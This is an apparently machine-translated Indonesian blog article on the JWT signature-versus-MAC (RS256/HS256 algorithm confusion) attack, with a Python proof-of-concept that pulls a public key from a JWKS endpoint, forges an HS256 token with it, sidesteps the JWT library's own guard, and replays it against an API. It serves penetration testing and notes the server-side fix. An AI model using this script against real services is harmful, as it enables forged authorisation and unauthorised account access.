JWT: Digital Signature Attack VS MAC Attack

Halo semuanya. Bukan rahasia lagi bahwa setiap bulan OTUS meluncurkan beberapa program yang benar-benar baru dan unik, bulan ini Pentest. Praktik Pengujian Penetrasi . ” Menurut tradisi yang sudah mapan, pada awal kursus, kami membagikan kepada Anda terjemahan materi yang bermanfaat dalam arah ini.





Selama pentest terakhir, saya menemukan skema otorisasi berdasarkan JSON Web Token (atau hanya JWT). JWT terdiri dari tiga bagian: header, payload, informasi verifikasi. Bagian pertama dari header berisi nama algoritma, yang akan digunakan nanti untuk bagian verifikasi JWT. Ini berbahaya karena penyerang dapat mengubah informasi ini dan dengan demikian (mungkin) mengontrol skema mana yang akan digunakan server untuk verifikasi.

Dua sirkuit yang umum digunakan: RS256 ( algoritma tanda tangan digital ) dan HS256 ( algoritma berbasis MAC ). Opsi yang sepenuhnya tidak aman adalah skema NULL: tidak menyertakan informasi verifikasi sama sekali - sayangnya skema NULL tidak diterima oleh server web target.

Variasi kecil pada serangan type confusion JWT yang mungkin berfungsi jika implementasi server menggunakan pustaka validasi yang hanya memanggil kode seperti verifikasi (token, kunci) dan mengasumsikan bahwa hanya token yang ditandatangani secara digital yang akan digunakan. Dalam hal ini, "kunci" parameter kedua akan selalu menjadi publik dan akan disajikan untuk verifikasi (tanda tangan digital menggunakan kunci pribadi untuk membuat tanda tangan dan kunci publik yang sesuai untuk memverifikasi tanda tangan yang dibuat).

Sekarang penyerang dapat memperoleh kunci publik, membuat token berbasis MAC baru dan menggunakannya untuk membuat bagian dari verifikasi token ini. Dalam skema berbasis MAC, hanya kunci rahasia yang diperlukan untuk membuat informasi verifikasi, dan dengan demikian penyerang menggunakan kunci publik (tanda tangan digital) sebagai kunci rahasia untuk MAC. Jika token ini sekarang diteruskan ke server untuk verifikasi, perpustakaan mengidentifikasi skema yang akan digunakan untuk token (yang ditetapkan oleh penyerang sebagai HS256, menunjuk ke skema MAC). Perpustakaan akan menggunakan parameter kedua sebagai input untuk membuat MAC. Karena ini adalah kunci publik, MAC baru cocok dengan MAC yang dikirimkan ke penyerang, dan karena mereka cocok, server akan menerima token palsu. Lalu, apa yang harus dilakukan pengembang aplikasi? Jika token diterima oleh server, server harus selalu memeriksa apakah algoritma yang digunakan cocok dengan yang awalnya direncanakan oleh pengembang.

Secara teoritis, ini seharusnya mudah diverifikasi, tetapi saya tidak menemukan alat yang berfungsi. Karena itu, saya sendiri menulis skrip python. Untuk menggunakannya, dalam kode sumber Anda harus menggunakan konfigurasi berikut:

  • jwks_url : di mana saya bisa mendapatkan informasi tentang kunci publik. JWKS digunakan oleh banyak layanan untuk secara terbuka mendistribusikan informasi utama.
  • operation_url : Permintaan GET HTTP yang menggunakan token JWT untuk otorisasi.
  • token : JWT yang valid untuk operasi yang dikonfigurasi.
  • audience : Audiens yang tokennya dikonfigurasi.

Script melakukan hal berikut:

  • Unduh file konfigurasi JWKS dan ambil pengaturan kunci publik. Dari sini, representasi pem dibuat.
  • Memastikan bahwa token yang dikonfigurasi dapat diverifikasi menggunakan kunci publik yang diekstraksi;
  • Melakukan operasi yang dikonfigurasi dengan token yang valid dan menampilkan kode status HTTP yang diterima dan dokumen yang dihasilkan (diasumsikan bahwa ini adalah JSON).
  • Membuat token baru berdasarkan yang dikonfigurasi. Dalam token baru, jenisnya akan diubah menjadi HS256; MAC (berdasarkan kunci terbuka) akan dihitung dan digunakan sebagai informasi verifikasi untuk token.
  • Lakukan operasi yang dikonfigurasikan lagi dengan token yang dimodifikasi dan tampilkan kode status HTTP, serta dokumen yang dikembalikan.

Karena kode status pengembalian (dengan token yang dimodifikasi) adalah 401 (otorisasi dilarang), pemeriksaan otorisasi di sisi server target berfungsi, dan karenanya, tidak dikompromikan oleh serangan signature-vs-mac. Jika ini berhasil, kode status yang identik dan dokumen yang dihasilkan serupa akan dibuat dengan kedua panggilan HTTP (dengan yang asli serta dengan token yang dimodifikasi).

Saya harap artikel ini membantu Anda dalam latihan terbaik Anda, gunakan skrip python dengan senang hati:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

Itu saja. Kami menunggu semua orang yang telah membaca sampai akhir di webinar gratis tentang topik ini: "Bagaimana cara memilah bug di Web . "

Source: https://habr.com/ru/post/id467015/


All Articles